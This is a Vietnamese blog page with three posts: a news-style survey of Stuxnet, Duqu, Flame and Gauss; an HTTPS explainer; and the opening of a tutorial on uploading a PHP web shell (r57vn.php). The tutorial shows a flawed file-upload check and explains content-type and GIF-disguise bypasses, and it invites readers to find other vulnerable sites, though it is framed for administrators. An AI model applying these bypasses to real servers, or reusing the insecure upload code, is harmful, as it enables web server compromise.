Monday, 27 May 2013

Bài viết về tổng hợp các malware, worm nguy hiểm: Stuxnet, Flame, Duqu, Guass

=====================================================================

Nguồn: "Câu chuyện xung quanh Stuxnet - vũ khí nguy hiểm trong thế giới mạng"

=====================================================================

Được nhận diện là một nguy cơ bảo mật bùng nổ vào tháng 6 năm 2010, sâu máy tính Stuxnet đã lây nhiễm vào ít nhất 14 cơ sở công nghiệp của Iran, trong đó có cả một nhà máy làm giàu uranium. Stuxnet đã gây nên một mối lo ngại rất lớn đó là sâu máy tính giờ đây có thể được sử dụng để phá hoại sản xuất chứ không chỉ dùng cho mục đích thăm dò hay đánh cắp thông tin nữa. Điều đáng chú ý là Stuxnet có cơ chế hoạt động cực kì phức tạp, kèm theo đó là một số đặc tính rất riêng, rất nguy hiểm, thậm chí nó đã khai thác thành công một số lỗi mà người ta chưa hề biết đến để thực hiện mục đích của mình.

Cách hoạt động của Stuxnet

Sâu máy tính (worm) và virus đều được thiết kế nhằm mục đích phá hoại dữ liệu hoặc các hệ thống máy tính. Tuy nhiên, worm nguy hiểm hơn bởi nó có khả năng tự sao chép và tự lan truyền giữa các máy tính với, thường là sẽ thông qua một mạng máy tính. Stuxnet chính là một con worm và nó hoạt động theo 3 giai đoạn. Đầu tiên, nó sẽ nhắm đến các máy tính sử dụng Windows để lây nhiễm và tiếp tục lan truyền qua mạng bằng biện pháp tự sao chép. Sau đó, Stuxnet sẽ nhắm vào Step7, một phần mềm chạy trên Windows do Siemens phát triển để kiểm soát các thiết bị công nghiệp, ví dụ như van, lò nung... Cuối cùng, sâu này sẽ tìm cách phá hỏng các bộ lập trình logic (programmable logic controller - PLC, dùng để kiểm soát các hệ thống, máy móc và công cụ dùng trong công nghiệp). Quy trình chi tiết thì như sau:

Stuxnet_cach_hoat_dong

Cũng vì khả năng của mình mà chủ nhân của Stuxnet có thể bí mật trinh thám xem những hệ thống công nghiệp nào được sử dụng ở cơ sở sản xuất của nạn nhân. Chúng thậm chí còn có thể làm cho các máy li tâm quay nhanh đến nỗi hỏng trục mà người vận hành không hề hay biết. (Tính đến ngày hôm nay Iran cũng chưa xác nhận một bài báo nói rằng Stuxnet đã làm hỏng một số máy li tâm của họ).

Nguy hiểm hơn, Stuxnet bao gồm nhiều thành phần và được phân tán nhiều nơi để có thể được cập nhật khi cần. Nó cũng có cơ chế giả dạng tập tin thư viện liên kết động (DLL) rất tinh vi nên có thể đánh lừa việc truy cập file DLL của phần mềm Step7. Theo giải thích của Symantec, Step 7 sử dụng một thư viện tên là S7otbxdx.dll để truy cập vào các bộ PLC. Stuxnet sẽ thay thế tập tin này bằng phiên bản riêng của nó, nhờ vậy mà sâu có thể can thiệp vào quá trình đọc, ghi dữ liệu từ máy tính đến PLC.

Stuxnet được lập trình để có thể bí mật lây từ máy Windows này sang máy Windows khác. Ngay cả khi máy không được kết nối Internet thì Stuxnet vẫn có thể tự sao chép mình thông qua các ổ đĩa USB. Chính vì đặc biệt tính này mà các chuyên gia bảo mật khi đó đã lo lắng rằng Stuxnet sẽ nhanh chóng lây lan ra thế giới bên ngoài. Thực chất thì vào tháng 10 năm ngoái, Thư kí bộ quốc phòng Leon Panetta của Mỹ đã từng lên tiếng rằng nước này đang có nguy cơ bị tấn công bởi một trận "Trân Châu Cảng trong không gian số". Một đợt tấn công như vậy có thể làm xe lửa trật đường ray, nguồn nước bị nhiễm độc cũng như đánh sập cả hệ thống lưới điện quốc gia. Ngay sau đó một tháng, tập đoàn năng lượng Chevron (trụ sở chính tại Mỹ) thừa nhận họ chính là công ty Hoa Kì đầu tiên bị nhiễm Stuxnet.

Quay trở lại con sâu Stuxnet, cho đến nay người chịu trách nhiệm sáng tạo ra nó vẫn chưa hề bị chính thức phát hiện. Tuy nhiên, kích thước và mức độ nghiêm trọng của nó đã khiến các chuyên gia tin rằng Stuxnet đã được tạo nên nhờ có sự hậu thuẫn của một quốc gia nào đó. Hai "kẻ tình nghi" hàng đầu được giới bảo mật đưa ra là Mỹ và Israel bởi họ có mối quan hệ không tốt với Iran. Ngoài ra, Mỹ cũng đang có rất nhiều nỗ lực để ngăn chặn chương trình hạt nhân của Iran này nên không loại trừ khả năng họ tạo ra một sâu máy tính để phá hoại đối thủ của mình.

Với một cú đánh mạnh do Stuxnet gây ra, kịch bản về một ngày tận thế trong đó mọi thứ điều khiển bằng máy tính đều bị tê liệt đã bắt đầu dần dần trở thành hiện thực. Những gì diễn ra trong phim Live Free or Die Hard 4 có thể sẽ được áp dụng và nhà nghiên cứu Schouwenberg nói rằng khi đó, "khoa học viễn tưởng bổng nhiên trở thành sự thật". Nhưng ai sẽ là người cứu thế giới? Đó sẽ không phải là Bruce Willis, một chàng trai có 27 tuổi có tóc đuôi ngựa như trong phim, mà chính các chuyên gia và kĩ sư bảo mật sẽ lật ngược thế cờ.

Nmap


Quá trình Stuxnet xuất hiện

Đi ngược dòng lịch sử, chúng ta hãy cùng xem Stuxnet được người ta tìm ra như thế nào. Mọi chuyện bắt đầu vào tháng 6 năm 2010 khi công ty bảo mật VirusBlokAda (trụ sở tại Belarus) nhận được email than phiền của một khách hàng ở Iran rằng máy tính của anh này cứ bị khởi động lại mãi. Mặc dù đã tìm nhiều cách can thiệp nhưng tình trạng này vẫn tiếp diễn. VirusBlokAda tin rằng chiếc máy này đã bị nhiễm phần mềm mã độc và họ phát hiện ra là malware đã khai thác một lỗi zero day ở các tập tin LNK dùng để tạo shortcut trên Windows (zero day là thuật ngữ được sử dụng để chỉ các lỗ hổng bảo mật mà người ta chưa từng biết đến).

Khi các file LNK này được chép vào ổ USB, lúc cắm sang máy khác, Windows Explorer sẽ tự quét nội dung chứa trên ổ nhờ tập tin autorun.inf và điều này đã tạo điều kiện cho malware được kích hoạt. Khi chạy lên, nó sẽ âm thầm lặng lẽ cài vào máy tính một file lớn hơn, sau đó tự chia nhỏ rồi ẩn vào nhiều nơi khác nhau. VirusBlokAda đã thông báo mối nguy hiểm này cho Microsoft vào ngày 12/7/2010. Hãng làm Windows đã quyết định đặt cái tên Stuxnet cho con sâu máy tính và cái tên này được lấy từ những tập tin .stub, MrxNet.sys nằm trong mã nguồn của worm.

Mối nguy hiểm chưa từng thấy

Trong thời gian sau đó, Stuxnet ngày càng được biết đến nhiều hơn, người ta cố gắng tìm kiếm các mẫu (sample) của nó để phân tích. Nhiều người khám phá ra rằng thực chất Stuxnet đã được phát tán từ hồi tháng 6/2009, tức một năm trước đó. Ngoài ra, người tác giả viết nên Stuxnet cũng đã từng 3 lần cập nhật sản phẩm của mình.

Lúc đầu, các nhà nghiên cứu chỉ nghĩ đơn giản rằng Stuxnet là một công cụ để cạnh tranh không lành mạnh trong kinh doanh. Tuy nhiên, họ phát hiện ra rằng con sâu này đã dùng chứng thực số (digital certificate) lấy từ hai hãng sản xuất Đài Loan nổi tiếng là Realtek và JMicro để làm cho hệ thống bảo mật tin rằng Stuxnet chỉ là một phần vô hại. Nguy hiểm hơn, cách thức giả mạo này cực kì nguy hiểm và đây là lần đầu tiên người ta thấy nó.

Nó nguy hiểm đến độ các nhà chuyên gia bảo mật phải chia sẻ thông tin và nghiên cứu của mình qua email hoặc qua các diễn đàn riêng tư trên mạng. Đây là một điều cực kì bất bình thường bởi các công ty bảo mật đều muốn giữ riêng cho mình thông tin về loại malware mới để tạo lợi thế cạnh tranh cũng như uy tín. Theo như Giám đốc nghiên cứu trưởng Mikko H. Hypponen của F-Secure, sự việc này chỉ có thể được xếp vào loại "cực kì bất bình thường". Ông nói thêm như sau: "Tôi chưa nghĩ ra được lĩnh vực IT nào khác mà có được sự hợp tác tích cực giữa các đối thủ với nhau".

Truy tìm và phân tích dấu vết

Để tìm hiểu hoạt động của Stuxnet, các nhà nghiên cứu tại Kaspersky cũng như nhiều hãng bảo mật khác phải thực hiện dịch ngược mã (reverse engineering) để biết sâu này chạy như thế nào. Càng đào sâu, họ càng phát hiện ra được nhiều thứ, chẳng hạn như số lượng máy bị nhiễm, bao nhiêu % máy bị nhiễm là ở Iran, thông tin về hệ thống phần mềm của Siemens...

malware

Trong quá trình dịch ngược, Schouwenberg thật sự bị bất ngờ khi Stuxnet không chỉ khai thác 1 mà đến 4 lỗ hổng zero day trong Windows. "Nó không chỉ là con số gây chấn động mà mỗi một lỗ hỗng đều bổ sung một cách hoàn hảo và đẹp mắt cho các lỗ hổng còn lại". Ngoài lỗ hổng nằm trong tập tin LNK và Windows Explorer mà chúng ta đã nói đến ở trên, Stuxnet còn tận dụng thêm lỗ hổng khi các máy tính chia sẻ máy in trong cùng một mạng. Hai lỗi còn lại liên quan đến quyền thực thi trong hệ thống. Stuxnet được thiết kế để có được quyền ở cấp hệ thống, tức là một trong những quyền cao nhất, ngay cả khi máy tính đã được thiết lập một cách kĩ càng. Schouwenberg nhận xét đây là một cách thực thi mà chỉ có từ "thông minh" là thích hợp để diễn tả.

Schouwenberg và các đồng nghiệp của mình tại Kaspersky sớm đi đến kết luận rằng mã nguồn của Stuxnet quá phức tạp, do đó một nhóm nhỏ khoảng 10 hacker không thể nào tạo ra được một phần mềm như thế. Nếu có, họ sẽ mất từ hai đến ba năm để hoàn thiện. Ngoài ra, Stuxnet có dung lượng đến 500KB, gấp nhiều lần so với mức 10-50KB của các malware thông thường. Chính vì thế mà họ mới nghi ngờ rằng có bàn tay của chính phủ một nước nào đó can thiệp và tài trợ cho dự án malware kinh khủng này.

Trong khi đó, ở công ty bảo mật Symantec, kĩ sư Liam O Murchu cùng các đồng nghiệp và đội thợ săn malware của hãng này đã phát hiện ra rằng khi Stuxnet đột nhập vào một máy tính nào đó, nó sẽ liên lạc với hai tên miền http://www.mypremierfutbol.com và http://www.todaysfutbol.com để báo cáo thông tin về các máy mới bị nhiễm. Nơi host máy chủ của hai tên miền này đặt tại Malaysia và Đan Mạch. Những thông tin được Stuxnet chuyển về cho hacker bao gồm địa chỉ IP, hệ điều hành và phiên bản tương ứng, máy có cài ứng dụng Step7 hay không.

Những máy chủ dạng như thế này được giới bảo mật gọi là Command & Control Server (C&C Server - máy chủ ra lệnh và điều khiển). Lợi dụng việc Stuxnet gửi ngược thông tin như đã nói ở trên, Symantec thiết lập nên biện pháp để mỗi khi Stuxnet cố gắng liên lạc với máy chủ của nó, nó sẽ bị đánh lừa và chuyển hướng sang server của Symantec. Kĩ thuật này gọi là "sink hole" và người ta cũng hay xài nó để hạn chế hoạt động của botnet.

Kết hợp dữ liệu thu được từ biện pháp sink hole, cộng với việc phân tích mã nguồn cũng như các báo cáo tại hiện trường, các chuyên gia đã có thể chắc chắn rằng Stuxnet được thiết kế riêng để nhắm vào các hệ thống của Siemens vốn đang được dùng để vận hành các máy li tâm dùng trong chương trình làm giàu hạt nhân của Iran. Kaspersky cũng biết được là mục tiêu tài chính không phải là thứ mà Stuxnet muốn đạt được, và họ có thể kết luận rằng con sâu này được sự hậu thuẫn của một nước nào đó. Các chuyên gia bảo mật trên khắp toàn cầu cũng hết sức ngạc nhiên vì đây là lần đầu tiên họ chứng kiến một nguy cơ bảo mật máy tính có ảnh hưởng đến chính trị trong thế giới thực.

Biến thể của Stuxnet

Duqu

Vào tháng 9/2011, một sâu máy tính mang tên Duqu được phát hiện bởi Phòng thí nghiệm CrySyS Lab ở Đại học Kinh tế và Kĩ thuật Budapest thuộc Hungary. Cái tên này được lấy từ tiền tố "~DQ" của các file mà con sâu này tạo ra. Duqu được cho là có cách hoạt động y như Stuxnet, tuy nhiên mục đích của nó thì khác hẳn. Symantec tin rằng Duqu được tạo ra bởi chính tác giả của Stuxnet hoặc do một ai đó có quyền truy cập vào mã nguồn Stuxnet. Chú sâu này cũng có chữ kí số hợp pháp đánh cắp từ hãng C-Media (Đài Loan) và nó sẽ thu thập thông tin để chuẩn bị cho các đợt tấn công trong tương lai.

Flame

Đến tháng 5/2012, Kaspersky Lab được Ủy ban Truyền thông Quốc tế (ITU) yêu cầu nghiên cứu một mẫu malware vốn bị nghi ngờ là đã phá hoại tập tin của một công ty dầu mỏ Iran. Trong quá trình làm việc theo yêu cầu của ITU, hệ thống tự động do Kaspersky xây dựng phát hiện thêm một biến thể khác của Stuxnet. Lúc đầu, Schouwenberg và đồng nghiệp tưởng rằng hệ thống đã mắc phải một lỗi nào đó bởi malware mới không có sự tương đồng rõ ràng nào với Stuxnet cả. Thế nhưng sau khi nghiên cứu kĩ mã nguồn của malware mới, họ tìm thấy một tập tin tên là Flame, vốn từng có mặt trong những bản Stuxnet đầu tiên. Trước đây người ta nghĩ Stuxnet và Flame hoàn toàn không có can hệ gì nhưng bây giờ thì các nhà khoa học đã nhận ra rằng Flame thực chất chính là người tiền nhiệm của Stuxnet nhưng vì một cách nào đó mà người ta không tìm thấy nó trước Stuxnet.

Về kích thước, Flame nặng đến 20MB, gấp 40 lần so với Stuxnet, và một lần nữa, các nhà nghiên cứu, trong đó có Schouwenberg, nghi ngờ rằng lại có bàn tay của chính phủ một nước nào đó can thiệp vào. Để phân tích Flame, Kaspersky cũng xài kĩ thuật sinkhole giống như lúc Symantec nghiên cứu Stuxnet. Khi Flame liên lạc với các server của nó, dữ liệu đã được chuyển về máy chủ do Kaspersky quản lí và tại đây, các thông tin về thẻ tín dụng cũng như cổng proxy bị đánh cắp đã lộ diện. Việc xác định chủ sở hữu các server của Flame được Schouwenberg nhận xét là rất khó khăn.

Nói đến tính chất, nếu như Stuxnet được tạo ra để phá hủy mọi thứ thì Flame chỉ đơn giản đóng vai trò gián điệp. Flame lây lan qua USB và có thể nhiễm vào các máy tin được chia sẻ trên cùng một mạng. Khi Flame đã xâm nhập thành công vào máy tính, nó sẽ tìm kiếm những từ khóa trong các tập tin PDF tuyệt mật, sau đó tạo và gửi một bản tóm tắt của tài liệu này về hacker. Mọi hoạt động của Flame đều không dễ dàng bị phát hiện bởi tập tin gửi về máy chủ C&C bị chia nhỏ thành nhiều gói, chính vì thế mà nhà quản trị mạng sẽ không thấy đột biến bất thường nào trong việc sử dụng dung lượng mạng.

CCServer
Mô hình minh hoa cho việc gửi dữ liệu về C&C Server
Ấn tượng hơn, Flame còn có thể trao đổi dữ liệu với bất kì thiết bị Bluetooth nào. Thực chất, kẻ tấn công có thể đánh cắp thông tin hoặc cài một malware khác vào các thiết bị Bluetooth và nếu nó được kết hợp với "Bluetooth rifle" - một ăng-ten định hướng dùng cho máy tính có trang bị Bluetooth - tầm hoạt động của Flame có thể lên đến 2 kilomet.

Tuy nhiên, điều đáng quan tâm nhất ở Flame đó là cách mà nó thâm nhập vào máy tính: thông qua một bản cập nhật cho Windows 7. Người dùng vẫn nghĩ rằng mình đang tải về một bản update chính chủ của Microsoft nhưng thực chất nó chính là Flame và việc này nguy hiểm hơn nhiều so với chỉnh bản thân chú sâu này. Schouwenberg ước tính rằng chỉ có khoảng 10 lập trình viên trên thế giới có đủ khả năng viết ra tính năng này. Hypponen của F-Secure thì nhận xét rằng Flame đã phá vỡ được hệ thống bảo mật tầm cỡ quốc tế mà đáng ra chỉ có thể làm bởi một siêu máy tính và rất nhiều nhà khoa học.

Nếu thật sự chính phủ Mỹ đứng đằng sau Flame, chắc chắn mối quan hệ giữa Microsoft và một trong những đối tác lớn nhất của hãng là chính phủ Mỹ sẽ trở nên rất căng thẳng. Hypponen nói: "Tôi đang đoán là Microsoft đã từng có một cuộc điện thoại với Bill Gates, Steve Ballmer cũng như Barack Obama. Tôi rất muốn nghe nội dung cuộc điện thoại đó".

Guass

Trong lúc dịch ngược Flame, Schouwenberg và đội của mình phát hiện thêm một biến thể nữa, đó chính là Gauss. Mục đích của nó gần giống Flame, đó là giám sát âm thầm các máy tính bị lây nhiễm. Gauss bị phát hiện bởi hệ thống các thuật toán để tìm ra điểm tương đương do Kaspersky làm ra. Chú sâu mới này sẽ ẩn mình trên các USB và có nhiệm vụ lấy trộm các tập tin và mật khẩu của các ngân hàng Li Băng, còn động cơ vì sao thì chưa rõ. Dữ liệu sau khi lấy được sẽ chứa trên chính chiếc USB này. Khi cắm nó vào một máy tính khác có kết nối mạng và đã bị nhiễm Gauss, Gauss sẽ thu thập thông tin và gửi nó về máy chủ C&C.

Lần này, khi đang truy dấu vết, các server C&C của Gauss bỗng nhiên biến mất, và đây là động thái cho thấy tác giả của malware này đang có ý che đậy thật nhanh hoạt động của mình. May mắn là Kaspersky đã thu thập đủ thông tin cần thiết để bảo vệ các khách hàng của hãng khởi Gauss, tuy nhiên Kaspersky đang không biết rằng việc làm nào của hãng khiến hacker biết mình đang bị theo dõi.

Kết

Jeffrey Carr, CEO của hãng bảo mật Taia Global cho biết rằng Stuxnet, Gauss hay Flame quả thật nguy hiểm, tuy nhiên chúng đều đã bị phơi bày ra ánh sáng. "Những ai bỏ hàng triệu đô la vào các con sâu này thì tất cả số tiền của họ đều đã trở nên lãng phí". Stuxnet cũng chỉ làm chậm quá trình làm giàu uranium của Iran được chút ít mà thôi. Mối nguy hiểm thật sự ở đây nằm ở các hệ thống máy công nghiệp đang được kết nối và vận hành qua Internet. Chỉ cần tìm kiếm trên Google đúng cách, hacker có thể biết được cách truy cập vào một hệ thống nước của Mỹ. Và thường thì các nhà quản lí sẽ không đổi mật khẩu mặc định, do đó hacker hoàn toàn có thể kiểm soát những hệ thống đó.

Ngoài ra, các công ty cũng thường chậm chạp trong việc cập nhật giải pháp kiểm soát công nghiệp. Kaspersky biết được rằng hiện tại có rất nhiều công ty cung cấp dịch vụ, hạ tầng quan trọng mà lại đang sử dụng các OS có tuổi đời lên tới 30. Tại Washinton, các chính trị gia đã yêu cầu thông qua luật buộc những hãng như thế phải tăng tính bảo mật của mình.

Trong lúc chờ đợi, các thợ săn virus tại Kaspersky, Symantec, F-Secure cũng như khắp các hãng bảo mật khác sẽ tiếp tục cuộc chiến của mình. Schouwenberg nhận xét rằng ngày càng có nhiều bên tham gia hơn và anh rất tò mò để xem trong 10 hay 20 năm tới, mọi chuyện sẽ diễn biến như thế nào.


Xem thêm: vì sao hacker viết virus: http://www.tinhte.vn/threads/vi-sao-hacker-viet-virus.957768/

HTTPs là gì? So sánh HTTP và HTTPs

========================================
Nguồn: http://canthoit.info/https-la-gi-khac-nhau-giua-https-va-http/
========================================

1. Tại sao nên sử dụng HTTPS

Khi sử dụng giao thức HTTP tức là bạn đang phô diễn mọi thức về bạn một cách trần trụi nhất, nhìn vào người ta sẽ biết bạn có gì. Còn giao thức HTTPS là lúc đó bạn đã mặc lên bộ quần áo che khuất tất cả, dấu đi thông tin cá nhân của bạn không cho người khác biết.

HTTPS - chữ “S” thừa ra ở đây là viết tắt của Secure – an toàn. Khi kết nối bằng giao thức HTTPS, người khác sẽ khó có thể biết bạn đang làm gì.



2. HTTPS là gì?

HTTPS là viết tắt của "Hypertext Transfer Protocol Secure", Nó là một sự kết hợp giữa giao thức HTTP và giao thức bảo mật SSL hay TLS cho phép trao đổi thông tin một cách bảo mật trên Internet. Giao thức HTTPS thường được dùng trong các giao dịch nhậy cảm cần tính bảo mật cao.

Netscape Communications tạo ra HTTPS vào năm 1994 cho trình duyệt web Netscape Navigator . Ban đầu, HTTPS đã được sử dụng với SSL mã hóa. Phiên bản hiện hành của HTTPS được chính thức chỉ định bởi RFC 2818 Tháng 5 năm 2000.

HTTPS đã có lịch sử phát triển khá dài, thậm chí có thể nói rằng nó sinh cùng thời với Web. Nhưng cho đến nay, giao thức này vẫn chỉ được sử dụng chủ yếu bởi những trang web có hoạt động chuyển tiền, trang web của các ngân hàng hoặc các cửa hàng trực tuyến. Nếu như có những trang web khác sử dụng HTTPS, thì họ cũng chỉ dùng nó cho một vài tác vụ nhất định mà thôi.

3. Sự khác nhau đơn giản

Theo 2 định nghĩa ở trên từ đó ta có thể thấy nếu trang web có địa chỉ bắt đầu bằng http:// thì nó có nghĩa rằng trang web không an toàn. Nói cách khác, một người nào đó có thể nghe lén những gì bạn trao đổi với trang web và có thể lấy những dữ kiện bạn gửi đi từ máy của bạn đến trang web như tên tuổi, căn cước, địa chỉ, số thẻ tín dụng, v..v…Do đó bạn không nên điền số thẻ tín dụng trên trang nhà nêú địa chỉ của nó bắt đầu bằng http.Nhưng nếu địa chỉ của trang web bắt đầu bằng chữ https:// thì điều này có nghĩa là bạn đang liên lạc an toàn với server của trang web và người ta không thể nghe lén và trôm những thông tin bạn gửi đi.Chắc bây giờ bạn đã hiểu mức quan trọng của chữ S trong https:// lớn như thế nào. Do đó, khi trang web bảo bạn điền những tin tức riêng của bạn vào những khung điền thông tin trên trang web, nhất là những thông tin quan trọng như số thẻ tín dụng,hay số an sinh xã hội, ngày sinh tháng đẻ, số passport, các passwords v…v…, thì trước tiên bạn phải nhìn vào địa chỉ để xem nó có chữ S sau http hay không tức là địa chỉ trang web có bắt đầu bằng https:// hay không. Nếu không, bạn không nên trao đổi những thông tin nhậy cảm đó với trang web.


4. Bước ngoặt

Trong năm vừa qua, ngành bảo mật trực tuyến đã bị một vố đau khi công cụ FireSheep ra đời. Nó cho phép bất kỳ ai xem cookie cũng như dữ liệu truy cập của tất cả mọi người, những người đăng nhập vào những điểm truy cập công cộng: quán cà phê, điểm truy cập Wi-Fi hay tại thư viện. Những dữ liệu thu thập được thậm chí có cả mã số ngân hàng hay password hòm thư điện tử của rất nhiều người. Đòn đánh “chí mạng” này đã buộc một số lượng lớn các website phải thay đổi giao thức truy cập từ HTTP thành HTTPS.
  

Sau này, đến những trang web như Twitter cũng đã phải giới thiệu đến người dùng giao thức HTTPS, tránh tình trạng username và password bị đánh cắp. Tuy nhiên giao thức an toàn này hiện tại vẫn chỉ có thể sử dụng trên máy tính, và bạn vẫn phải tự tay gõ “https” trước khi gõ tên miền Twitter.

Google đã thông báo rằng họ sẽ cho thêm chức năng truy cập qua HTTPS vào một số dịch vụ. Trong khi đó người sử dụng Firefox đã có thể dùng add-on để tự động bắt đầu chế độ duyệt web bằng HTTPS. Như vậy, thế giới mạng đang từng bước chuyển sang HTTPS. Vậy tại sao tất cả không cùng thay đổi, mà vẫn sử dụng song song hai giao thức kết nối như vậy?

5. Vì sao HTTPS lại chưa được phổ biến

Ars Technica đã trao đổi với Yves Lafon, chuyên gia về HTTP cũng như HTTPS tại W3C. Vấn đề thật sự, theo Lafon, nếu như sử dụng HTTPS, mọi người sẽ mất đi quyền truy cập vào hệ thống bộ nhớ đệm lưu trữ. “Đây hoàn toàn chẳng phải là vấn đề khi máy chủ cũng như người sử dụng ở cùng khu vực. Nhưng những người ở Úc chẳng hạn, họ luôn muốn dữ liệu được lưu trữ tạm thời và có thể sử dụng ngay mà không phải chờ đợi khoảng thời gian truyền dữ liệu quá lớn từ những máy chủ ở các châu lục khác”.

Lafon cũng nói thêm về tốc độ truy cập khi chuyển giao thức từ HTTP sang HTTPS. Một cách ngắn gọn, với công nghệ hiện tại, việc tải một trang web sử dụng HTTPS sẽ chậm hơn nhiều so với HTTP.
  
Có những vấn đề mà những người thiết kế web gặp phải và họ cố gắng giải quyết, ví dụ như số tiền lớn họ phải bỏ ra để bảo đảm an ninh mạng cho trang web. Với những trang web nhỏ, việc này sẽ bị bỏ qua. Nhưng với những công ty lớn, những website có lưu lượng sử dụng cũng như chuyển khoản rất cao, thì không đơn giản như vậy.

Những trang web không đòi hỏi việc đăng nhập cũng như có chứa các dữ liệu quan trọng, thì việc chuyển đổi từ HTTP sang HTTPS và mất đi bộ nhớ đệm hoàn toàn không đem lại lợi ích gì cả. Tuy nhiên, đối với những trang web như Facebook, Google Apps hay Twitter, nhiều người sử dụng có thể sẵn sàng đánh đổi tốc độ truy cập lấy sự an toàn khi sử dụng dịch vụ.

Và thực tế, ngày càng nhiều trang web lớn cung cấp chức năng truy cập bằng HTTPS để người sử dụng có thể yên tâm hơn về chất lượng bảo mật. Bên cạnh đó, họ cũng bỏ ra khá nhiều công sức để rút ngắn lại khoảng cách khác biệt về tốc độ truy cập giữa HTTP và HTTPS.

Một vấn đề khác khi hoạt động trang web sử dụng giao thức kết nối HTTPS là cái giá của nó khá cao. Đó chính là lý do những trang web nhỏ có xu hướng “mặc kệ” lựa chọn tuyệt vời này. Tuy nhiên nếu một ngày đẹp trời nào đó trang web của bạn đột nhiên trở thành hàng “hot”, thì chắc chắn bạn không nên bỏ qua lựa chọn chuyển từ HTTP sang HTTPS nêu trên. Có lẽ lý do chủ yếu khiến mọi người không mấy mặn mà với HTTPS, đó là những trang web sử dụng giao thức này không thể chạy trên những máy chủ ảo.

Máy chủ ảo, phương pháp tuyệt vời và rẻ tiền nhất cho những nhà cung cấp mạng. Nó cho phép nhiều trang web có thể tồn tại trên cùng một hệ thống máy chủ vật lý thông thường, hàng trăm trang web khác nhau cùng chung một địa chỉ IP. Nhưng chúng chỉ hoạt động được trên giao thức kết nối HTTP. Với HTTPS, hệ thống đó sẽ trở thành “đồ bỏ”.

6. Nhưng tương lai luôn rộng mở với HTTPS

Với những lý do kể trên, thật sự chẳng có lý do nào thật sự cản trở bước tiến của HTTPS; với sự phát triển không ngừng của công nghệ, những lý do kể trên sẽ sớm được khắc phục. Tốc độ truy cập sẽ nhanh hơn, bộ nhớ đệm sẽ không cần thiết, và những máy chủ sẽ được cải tiến để phù hợp hơn với những giao thức truy cập an toàn hơn.

Bên cạnh đó là người sử dụng. Với những tiến bộ về tốc độ mạng kể trên, mối quan tâm của họ chắc chắn sẽ chuyển từ “trang web load nhanh bao nhiêu” sang “trang web này an toàn tới mức nào” mà thôi !!! 

Friday, 17 May 2013

[TUT] Upload file PHP - Up Shell

====================================================
Nguồn: Kỹ thuật hack web qua upload file PHP
http://securityforall.wordpress.com/category/hack/hack-web-forum/
==============================================
Lỗ hổng này khi kiểm tra với các Tools scan uy tín như: Acunetix, IBM App Scan.. chỉ ở mức Low có nghĩa là mức độ nguy hiểm thấp nhưng lại có thể chiếm quyền điều khiển web server. Với mục đích quan trọng nhất của bài viết là cho người quản trị web hiểu được các nguy cơ tiềm ẩn, các cách khai thác và phòng vệ ra sao. Bài viết được chia ra các mục
1. Tools cần thiết
2. Kỹ thuật upload file PHP và chiếm quyền điều khiển máy chủ web
3. Kỹ thuật bảo mật cho máy chủ web fix lỗ hổng bảo mật này
I. Các tools cần thiết
- Burpsuite_v1.3
- Java framework
- firefox
- website bị lỗi
- r57vn.php
1. Burpsuite_v1.3
Đây là một Tool viết trên nền Java nên muốn chạy được tools này phải cài Java trước. Tools này làm việc như một web proxy nhưng nó là một intercepting proxy.
Intercepting proxy: là một proxy cho phép điều chỉnh nội dung của gói tin người dùng truyền nên web server. Do đó khi ta sử dụng tools này cho phép thay đổi nội dung yêu cầu từ trình duyệt web gửi lên web server.
Link download: http://www.portswigger.net/suite/burpsuite_v1.3.zip
2. Java
Đây là bộ cài Java cho phép các chương trình java chạy trên máy tính
Link download: http://sun.com
3. firefox
Sử dụng firefox bởi một số kỹ thuật không sử dụng IE được
4. Website bị lỗi
Không khuyến cáo mọi người đi hack các trang web khác. Hacker mũ trắng chỉ hack các trang web được sự cho phép của người chủ quản website. Bài viết này tôi sẽ hack trực tiếp vào trang web của tôi là trang http://tocbatdat.com Trang web phát triển trên nền php và dính lỗ hổng.
5. r57vn.php
Là một Shell cho phép làm nhiều tác vụ trên webserver một cách đơn giản
II. Kỹ thuật upload file PHP và chiếm quyền điều khiển máy chủ web
1. Chuẩn bị
Bước 1: cài đặt Java
Bước 2: Download burpsuite_v1.3 về giải nén ra sẽ thấy file .jar thì dừng lại
Bước 3: Cài đặt firefox
Bước 4: Chuẩn bị trình duyệt IE (sử dụng IE để upload file) bởi cấu hình proxy trên IE đơn giản hơn
Bước 5: Kết nối Internet và truy cập trang web http://tocbatdat.com (trong trường hợp website này tôi đã fix lỗ hổng các bạn có thể kiếm web khác dính lỗ hổng này để demo).
2. Thực hiện Upload file php lên website
a. Kiến thức chung
Hầu hết các trang web hiện nay đều chỉ cho upload một số dạng file nhất định như: jpg, gif, … và không cho phép upload các định dạng file khác vậy chúng ta làm thế nào để upload một file PHP lên website này.
Trước hết chúng ta phải hiểu được website làm thế nào để phát hiện ra file này không phải là các định dạng cho phép có hai cách để website kiểm tra:
+ Kiểm tra định dạng file (dạng này rất thông dụng)
+ Kiểm tra đuôi file (dạng này thì không nhiều)
Ví dụ một đoạn code php để upload và check file:
Code:
Code:
<?php
if($_FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
- Đoạn code này cho phép kiểm tra chỉ cho phép upload file định dạng image/gif (content type)  Để vượt qua chúng ta chỉ cần chỉnh sửa content type là có thể upload được
- Có đoạn code cho phép kiểm tra nội dung file để phát hiện file đó có phải là file  Để vượt qua chúng ta tạo ra một file ảnh dạng .gif hay jpg rồi dùng notepad để chỉnh sửa, thêm đoạn code php vào cuối file .gif đó rồi đổi đuôi thành .php. Khi upload file này hệ thống sẽ kiểm tra nội dung và phát hiện đây là file gif là cho upload
b. Thực hiện Phương án 1 – Upload shell
- Cài java
- Chạy chương trình Burpsuite_v1.3 để làm Intercepting Proxy. Nhấn đúp vào file .jar giải nén từ bộ download được
Chạy chương trình Burpsuite
Mặc định chương trình này chỉ làm proxy cho chính máy chạy chương trình, để các máy khác có thể sử dụng chương trình này làm proxy phải  Vào tab proxy  chọn Options rồi có thể Edit tùy biến port sử dụng (mặc định là 8080) bỏ dấu check box “loopback ony”
Vào IE chỉnh proxy vào địa chỉ 127.0.0.1 port 8080. IE  IE options  tab connection nhấn vào nút LAN Settings
Thử vào Internet sau khi đặt proxy (vào trang tocbatdat.com). Đã vào được:
